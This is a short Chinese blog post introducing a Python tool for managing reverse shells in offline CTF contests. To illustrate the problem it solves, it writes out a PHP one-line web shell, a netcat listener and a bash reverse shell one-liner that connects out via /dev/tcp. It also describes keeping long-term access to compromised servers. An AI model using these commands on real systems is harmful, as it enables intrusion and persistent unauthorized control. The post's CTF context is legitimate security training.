[工具介紹] 反彈 shell 管理工具


GitHub 倉庫

https://github.com/WangYihang/Reverse-Shell-Manager


介紹一款基于 Python 開發的 反彈 shell 管理工具 Reverse-Shell-Manager

在 CTF線下賽 的時候 , 如果通過 web 或者 pwn 已經拿到了一臺服務器的控制權
那么我們可以使用反彈 shell 來對該服務器進行一個長期的權限維持
一般反彈 shell 的時候我們會怎么做呢 ?
比如說這里有一個臺服務器可以 RCE 了

<?php system($_GET[c]);?>

如果要反彈的話 , 我們首先要在自己的服務器上監聽一個端口 :

nc -l 8888

然后再在目標服務器上執行 :

bash -c 'bash -i >&/dev/tcp/8.8.8.8/8888 0>&1'

這樣就能拿到該服務器的 shell 了
但是
一旦鏈接斷開 , 那么就要重新利用漏洞反彈一個新的 shell
這樣是不是很麻煩 , 而且還會暴露漏洞是如何被利用的
如果對方抓取了流量進行分析的話 , 很快就會把漏洞補上

而且
一般線下賽很多時候需要一些自動化的腳本來運維和進行權限維持
所以寫了一個小工具 , 希望能有用

大概功能就是 :

監聽一個端口 , 可以處理所有連接過來的請求
可以對已經連接的主機進行批量管理 (例如一鍵獲取 flag)
保證一臺主機不會出現多個連接
對已經下線的主機進行自動檢測
image.png

下面有一個簡單的介紹視頻 :

使用視頻

如果可以給你帶來幫助的話 , 可不可以 Star 一下吶 , ヽ(??▽?)ノ

TODO

1. 端口轉發
2. 多層級聯 
...
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容